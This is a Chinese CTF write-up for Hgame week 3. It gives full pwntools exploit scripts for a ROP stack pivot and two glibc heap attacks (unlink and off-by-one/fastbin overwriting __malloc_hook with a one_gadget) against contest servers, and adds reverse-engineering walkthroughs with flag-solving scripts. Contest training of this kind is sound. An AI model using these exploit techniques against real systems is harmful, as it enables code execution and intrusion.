writeup
一次受益颇多的CTF(RE/PWN)
2020-02-18 10:22

##前言

这个是Hgame_CTF第三周的题目,难度一周比一周大,而且还涉及了多方面的知识,一整期做下来对或许会有一个比较大的提升。其中有一道逆向,是通过监控本地端口来获取输入的,第一次接触这种输入模式,故借此机会记录一下。

上两周的题目回顾:HgameCTF(week1)-RE,PWN题解析

记一次春节CTF实战练习(RE/PWN)

##pwn ###ROP_LEVEL2

程序init禁用了59号中断,所以不能getshell

__int64 init()

{

  __int64 v0; // ST08_8


  v0 = seccomp_init(2147418112LL);

  seccomp_rule_add(v0, 0LL, 59LL, 0LL);

  seccomp_load(v0);

  return 0LL;

}


main函数存在栈溢出,但是最多只能覆盖到EBP和返回地址。前边会读取256个字节进入buf全局变量。可以通过栈迁移把栈区迁移到buf中,然后在buf中构造ROP,调用OPEN函数打开flag然后跳到0x040098F地址读取并输出flag。

#!/usr/bin/python

#coding:utf-8

from pwn import *

from time import *

from LibcSearcher import *


context.log_level="debug"


EXEC_FILE = './ROP'


io = remote('47.103.214.163',20300)

#io = process('./ROP')

elf = ELF(EXEC_FILE)


#padding = 88

read_plt = elf.plt['read']

open_plt = elf.plt['open']


io.recvuntil('?')

#payload = 'flag\x00\x00\x00\x00'#

payload = p64(0x060119F)

payload += p64(0x0400a43)#pop rdi

payload += p64(0x6010e0)#flag

payload += p64(0x0400a41)#pop rsi

payload += p64(0)

payload += p64(0)#pading

payload += p64(open_plt)

payload += p64(0x040098F)#

payload += 'flag\x00\x00\x00\x00'#

io.sendline(payload)#buf 0x006010A0


payload = 'a'*80

payload += p64(0x06010A0)#buf

payload += p64(0x4009D5)

io.sendline(payload)


print io.recv()


io.interactive()

###Annevi_Note

查看edit函数,每次会固定读入256个字节。而每次只能申请小于143字节的堆块,照成堆溢出。

__int64 edit()

{

  int v1; // [rsp+Ch] [rbp-4h]


  puts("index?");

  v1 = readi();

  if ( list[v1] )

  {

printf("content:");

read_n((__int64)list[v1], 256);

puts("done!");

  }

  else

  {

puts("Invalid index!");

  }

  return 0LL;

}


check一下文件查看开了哪些保护

Annevi1.png

可以先申请usorted bin然后释放再申请回来调用show函数输出unsorted bin addr,先减去88再减去main_arena_offset求出libc基地址,不同版本的libc对应着不同版本的main_arena_offset。然后使用unlink使得能改变list中的元素,写入malloc hook地址,然后改变malloc hook为one gadget。

exp

#!/usr/bin/python

#coding:utf-8

from pwn import *

from time import *

from LibcSearcher import *


context.log_level="debug"


#EXEC_FILE = "./ROP_LEV"

REMOTE_LIBC = "./libc-2.23.so"


#main_offset = 3951392

io = remote('47.103.214.163',20301)

#io = process('./Annevi')

#elf = ELF(EXEC_FILE)

libc = ELF(REMOTE_LIBC)


def add(size,content):

  io.sendlineafter(':','1')

  io.sendlineafter('?',str(size))

  io.sendlineafter(':',content)


def edit(idx,content):

  io.sendlineafter(':','4')

  io.sendlineafter('?',str(idx))

  io.sendlineafter(':',content)

def delete(idx):

  io.sendlineafter(':','2')

  io.sendlineafter('?',str(idx))


def show(idx):

  io.sendlineafter(':','3')

  io.sendlineafter('?',str(idx))


add(150,'a')

add(150,'b')


delete(0)

add(150,'a'*7)

show(0)#求出libc基地址

io.recvuntil('a'*7)

unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88

print hex(unsorted_bin)

libc_addr = unsorted_bin - 3951392


delete(0)

delete(1)


malloc_hook = libc_addr + libc.sym['__malloc_hook']


x = 0x0602040

fd = x-0x18

bk = x-0x10

payload = p64(0)

payload += p64(0x70)

payload += p64(fd)+p64(bk)

payload += 'a'*(0x70-(8*4))+p64(0x70)

payload += p64(0)*3+p64(0x90)+p64(0xa0)


add(0x90,'a')#0

add(0x90,'b')#1

add(0x90,'c')


edit(0,payload)


delete(1)


payload = p64(0)*3

payload += p64(malloc_hook)


edit(0,payload)

edit(0,p64(libc_addr+0xf1147))


io.sendlineafter(':','1')

io.sendlineafter('?',str(150))


io.interactive()

###E99p1ant_Note

查看read_n函数,存在off-by-one。能修溢出修改一个字节。

__int64 __fastcall read_n(__int64 a1, int a2)

{

  int i; // [rsp+1Ch] [rbp-4h]


  for ( i = 0; i <= a2; ++i )

  {

read(0, (void *)(i + a1), 1uLL);

if ( *(_BYTE *)(i + a1) == 10 )

  break;

  }

  return 0LL;

}

可以按照上面一道题的方法,先泄露出libc基地址。然后利用off-by-one配合unsorted bin attack,使得链表中两个元素指向同一块内存,然后利用fastbin attack修改malloc hook变成one gadget。

#!/usr/bin/python

#coding:utf-8

from pwn import *

from time import *

from LibcSearcher import *


context.log_level="debug"


REMOTE_LIBC = "./libc-2.23.so"


#main_offset = 3951392

io = remote('47.103.214.163',20302)

#io = process('./E99')

#elf = ELF(EXEC_FILE)

libc = ELF(REMOTE_LIBC)


def add(size,content):

  io.sendlineafter(':','1')

  io.sendlineafter('?',str(size))

  io.sendlineafter(':',content)


def edit(idx,content):

  io.sendlineafter(':','4')

  io.sendlineafter('?',str(idx))

  io.sendlineafter(':',content)


def edits(idx,content):

  io.sendlineafter(':','4')

  io.sendlineafter('?',str(idx))

  io.recvuntil(':')

  io.send(content)

  #io.sendlineafter(':',content)



def delete(idx): io.sendlineafter(':','2') io.sendlineafter('?',str(idx))def show(idx):

  io.sendlineafter(':','3')

  io.sendlineafter('?',str(idx))


add(0x88,'a')

add(0x88,'b')


delete(0)

add(0x88,'a'*7)

show(0)#求出libc基地址

io.recvuntil('a'*7)

unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88

print hex(unsorted_bin)

libc_addr = unsorted_bin - 3951392


delete(0)

delete(1)


add(0x88,'a')#0

add(0x88,'b')#1

add(0x88,'c')#2

add(0x88,'d')#3

add(0x88,'e')#4

add(0x88,'f')#5


delete(0)

edits(3,'a'*0x80+p64(0x240)+p8(0x90))

delete(4)


add(0x88,'a')#0

add(0x68,'a')#4

add(0x10,'a')#6

add(0x68,'a')#7

add(0x10,'a')#8


delete(4)

delete(7)


malloc_hook = libc_addr + libc.sym['__malloc_hook']

edit(1,p64(malloc_hook-35)*2)


add(0x68,'a')#4

add(0x68,'b')#7

print hex(libc_addr+0xf24cb)

raw_input()

add(0x68,'a'*(19-8)+p64(libc_addr+0xf1147)+p64(libc_addr+0xf1147))


io.sendlineafter(':','1')

io.sendlineafter('?',str(100))


io.interactive()

##re

###oooollvm

程序加了ollvm混淆,或许可以用deflat.py去除,但是该程序逻辑比较简单,虽然加了混淆,但还是可以看清楚逻辑,所以可以带混淆逆。其实如果实在真的解不了混淆,可以凭经验下断点,或者在全部的真实块下断点动态调试也是可以的,不过比较麻烦。

ollvm1.png

v12为计数器,table1和flag经过计算和table2对比。

可以写脚本。

table_2 = [0x77,0x25,0x71,0x3F,0xF1,0x46,0xAB,0x4F,0x5F,0x7E,0x87,0x89,0x3E,0x89,0x24,0x17,0x5C,0x19,0xA1,0x36,0xD2,0x3C,0x72,0x51,0x21,0x9C,0xB7,0xA5,0xD0,0x9A,0x1A,0x77,0x06,0x3A]


table_1 = [0x1F,0x41,0x0E,0x4F,0x90,0x38,0x95,0x1C,0x2B,0x1F,0xC0,0xCB,0x03,0xAF,0x6D,0x45,0x5C,0x63,0xBF,0x67,0x83,0x4F,0x16,0x1C,0x3C,0xAF,0xAF,0x75,0x9D,0xBA,0x2C,0x1C,0x43,0x26]


flag = ""

for i in range(34):

for q in range(20,127):

if (table_2[i] == (~q & (table_1[i] + i) | ~(table_1[i] + i) & q)):

flag += chr(q)

print flag

###Go_master

程序为Go写的linux下的程序。符号表没去,逆起来比较简单。

输入判断是否为9位。

 fmt_Fscanln(

(__int64)a1,

a2,

(__int64)&go_itab__os_File_io_Reader,

(__int64)&v82,

v9,

v10,

(__int64)&go_itab__os_File_io_Reader,

os_Stdin);

  if ( v81[1] != 9 )// flag长度为9

  {

*(_QWORD *)&v88 = &unk_517D80;

*((_QWORD *)&v88 + 1) = &off_573EE0;

fmt_Fprintln(

  (__int64)a1,

  a2,

  (__int64)&go_itab__os_File_io_Writer,

  (__int64)&v88,

  v11,

  v12,

  (__int64)&go_itab__os_File_io_Writer,

  os_Stdout);

os_Exit((__int64)a1);

  }

然后进入sha1加密后对比。由于没有别的信息,有点难猜测9位是啥。

  v80 = v62;

  *(_QWORD *)v62 = 0xEFCDAB8967452301LL;

  *(_QWORD *)(v62 + 8) = 0x1032547698BADCFELL;

  *(_DWORD *)(v62 + 16) = 0xC3D2E1F0;

  *(_OWORD *)(v62 + 88) = 0LL;

  v13 = *v81;

  runtime_stringtoslicebyte((__int64)a1, a2, v81[1], (__int64)v81, v14, v15);

  *(_QWORD *)&v16 = v80;

  *((_QWORD *)&v16 + 1) = 1LL;

  crypto_sha1___digest__Write((__int64)a1, a2, 1LL, 1LL, v17, v16);

  v64 = 0LL;

  crypto_sha1___digest__Sum((__int64)a1, a2, v18, v19, v20, v21, v80);

  v76 = 1LL;

  runtime_newobject();

  v79 = 0LL;

  unk_0 = 0x532A878B04894333LL;

  unk_4 = xmmword_5514B0;

  runtime_convTslice((__int64)a1, a2, v22);

  v78 = 0LL >> 63;

  runtime_convTslice((__int64)a1, a2, v23);

  *(_QWORD *)&v64 = &unk_515C00;

  reflect_DeepEqual((__int64)a1, a2, v24, v78, v25);

  v28 = v81;

  v29 = v81[1];

  v68 = v81[1];

  v30 = *v81;

  v77 = *v81;

  cout = 0LL;

后来发现这9位和:2333拼接,进入net_Listen函数。

flag___FlagSet__Parse((__int64)a1, a2, qword_647088, os_Args, *(__int128 *)&v35);

  runtime_concatstring3(

(__int64)a1,

a2,

v72[1],

v74[1],

v37,

v38,

0,

*v74,

v74[1],

(unsigned __int64)":<=?CLMNPSUZ[\n\t",

1,

*v72,

v72[1]);

  *(_QWORD *)&v39 = &unk_54E794;

  *((_QWORD *)&v39 + 1) = 3LL;

  net_Listen((__int64)a1, a2, (__int64)&unk_54E794, v66, v40, v41, v39, v66, v67);

这9位可能是个ip地址,2333是端口。猜测127.0.0.1和localhost,发现是localhost。然后运行net_Listen函数监听本地端口2333数据。可以使用telnet往本机端口发送数据。

go1.png

当接收打数据后,程序会进入main_handleRequest函数,使用des加密监听到的数据对比,密钥为localhost。

go2.png

直接解密得到flag

go3.png

###hidden

先通过ida的交叉调用定位到sub_1400012E0函数。函数先读入flag,判断是不是40字节。

__int64 sub_1400012E0()

{

  __int64 v0; // rax

  char v2; // [rsp+28h] [rbp-30h]


  sub_140001C10(&v2);

  sub_1400015D0(std::cin, &v2);

  if ( sub_1400024A0() == 40 )

  {

v0 = sub_1400023D0((__int64)&v2);

sub_140001270(v0);

  }

  sub_140001E30((__int64)&v2);

  return 0i64;

}


进入到sub_140001270函数

__int64 __fastcall sub_140001270(__int64 a1)

{

  __int64 v1; // rdi

  int v2; // ebx

  int v3; // eax

  __int64 result; // rax


  v1 = a1;

  v2 = sub_1400010C0(0, (unsigned __int8 *)a1, 0x14ui64);

  v3 = sub_1400010C0(0, (unsigned __int8 *)(v1 + 20), 0x14ui64);

  if ( v2 != 0x18257154 || v3 != 2058429201 )

result = sub_140001030(0);

  else

result = sub_140001030(1);

  return result;

}

flag分成两部分进入sub_1400010C0函数。

__int64 __fastcall sub_1400010C0(int a1, unsigned __int8 *a2, unsigned __int64 a3)

{

  int v3; // ebx

  unsigned __int64 v4; // rbp

  unsigned __int8 *v5; // r14

  unsigned int v6; // er12

  unsigned int *v7; // r15

  signed int v8; // edi

  unsigned int *v9; // rsi

  unsigned int v10; // edx

  unsigned int v11; // ecx

  unsigned int v12; // edx

  unsigned int v13; // ecx

  unsigned int v14; // edx

  unsigned int v15; // ecx

  unsigned int v16; // edx

  unsigned int v17; // ebx

  unsigned __int8 *v18; // rdx

  __int64 v19; // rax

  unsigned int v21; // [rsp+50h] [rbp+8h]


  v3 = a1;

  v4 = a3;

  v5 = a2;

  v6 = v21;

  v7 = (unsigned int *)VirtualAlloc(0i64, 0x4000ui64, 0x3000u, 0x40u);

  v8 = 0;

  v9 = v7;

  do

  {

if ( v8 >= 256 )

{

  *v9 = v6 ^ *(unsigned int *)((char *)v9 + &unk_140007000 - (_UNKNOWN *)v7 - 1024);

  if ( v8 == 4095 )

sub_140001010(v5, sub_140001030, v7 + 256, sub_1400010A0);

}

else

{

  v10 = ((unsigned int)v8 >> 1) ^ 0xEDB88320;

  if ( !(v8 & 1) )

v10 = (unsigned int)v8 >> 1;

  v11 = (v10 >> 1) ^ 0xEDB88320;

  if ( !(v10 & 1) )

v11 = v10 >> 1;

  v12 = (v11 >> 1) ^ 0xEDB88320;

  if ( !(v11 & 1) )

v12 = v11 >> 1;

  v13 = (v12 >> 1) ^ 0xEDB88320;

  if ( !(v12 & 1) )

v13 = v12 >> 1;

  v14 = (v13 >> 1) ^ 0xEDB88320;

  if ( !(v13 & 1) )

v14 = v13 >> 1;

  v15 = (v14 >> 1) ^ 0xEDB88320;

  if ( !(v14 & 1) )

v15 = v14 >> 1;

  v16 = (v15 >> 1) ^ 0xEDB88320;

  if ( !(v15 & 1) )

v16 = v15 >> 1;

  v6 = (v16 >> 1) ^ 0xEDB88320;

  if ( !(v16 & 1) )

v6 = v16 >> 1;

  *v9 = v6;

}

  ++v8;

  ++v9;

  }

  while ( v8 < 4096 );

  v17 = ~v3;

  v18 = v5;

  if ( v5 > &v5[v4] )

v4 = 0i64;

  if ( v4 )

  {

do

{

  v19 = *v18++;

  v17 = (v17 >> 8) ^ v7[v19 ^ (unsigned __int8)v17];

}

while ( v18 - v5 < v4 );

  }

  return ~v17;

}

看算法生成了表,很像是CRC32算法。但是会进入sub_140001010函数。

hidden1.png

里边call r8,并且还会调用一个可以输出正确信息的函数。并且这个函数结束之后,会运行int指令。题目名叫hidden,或许真正有用的信息就隐藏在里边。可以动态调试一下到底调用了哪些函数。

__int64 __fastcall sub_283C8F00400(__int64 a1, __int64 (__fastcall *a2)(_QWORD))

{

  signed int j; // [rsp+20h] [rbp-78h]

  signed int i; // [rsp+24h] [rbp-74h]

  signed int l; // [rsp+28h] [rbp-70h]

  signed int k; // [rsp+2Ch] [rbp-6Ch]

  unsigned int v7; // [rsp+30h] [rbp-68h]

  char v8[38]; // [rsp+38h] [rbp-60h]

  char v9; // [rsp+5Eh] [rbp-3Ah]

  char *v10; // [rsp+60h] [rbp-38h]

  __int64 v11; // [rsp+68h] [rbp-30h]

  __int64 v12; // [rsp+70h] [rbp-28h]

  __int64 v13; // [rsp+78h] [rbp-20h]

  __int64 v14; // [rsp+80h] [rbp-18h]

  __int64 v15; // [rsp+88h] [rbp-10h]


  for ( i = 0; i < 40; ++i )

v8[i] = *(_BYTE *)(a1 + i);

  v10 = &v9;

  for ( j = 0; j < 19; ++j )

  {

for ( k = 0; k < 2; ++k )

{

  v8[j] ^= v8[j + 19];

  v8[j] += v10[k];

  v8[j + 19] -= 103;

  v8[j + 19] ^= v8[j];

}

  }

  v7 = 1;

  for ( l = 0; l < 40; ++l )

  {

v11 = 8896099409227384902i64;

v12 = 5221214014029134222i64;

v13 = 5439652918615309179i64;

v14 = -9114877380574607267i64;

v15 = 9035724225678832282i64;

if ( v8[l] != *((char *)&v11 + l) )

{

  v7 = 0;

  return a2(v7);

}

  }

  return a2(v7);

}

这估计就是真正处理flag的函数了,a2会通过判断传进去的参数输出正确或者失败。可以写脚本。

flag = [0x46,0x88,0x8F,0x75,0x47,0x4B,0x75,0x7B,0x8E,0x79,0x7F,0x8A,0x7B,0x7A,0x75,0x48,0x7B,0x7B,0x7B,0x4B,0x82,0x87,0x7D,0x4B,0x5D,0x88,0x9B,0xA7,0x50,0x73,0x81,0x81,0x9A,0x72,0xFA,0x57,0x4F,0x57,0x65,0x7D]

for i in range(18,-1,-1):

  for q in range(1,-1,-1):

    flag[i+19] = (flag[i+19]^flag[i])&0xff

    flag[i+19] = (flag[i+19]+103)&0xff

    flag[i] = (flag[i]-flag[(q+38)])&0xff

    flag[i] = (flag[i]^flag[i+19])&0xff


flags = ""


for i in flag:

  flags+=chr(i)

print flags

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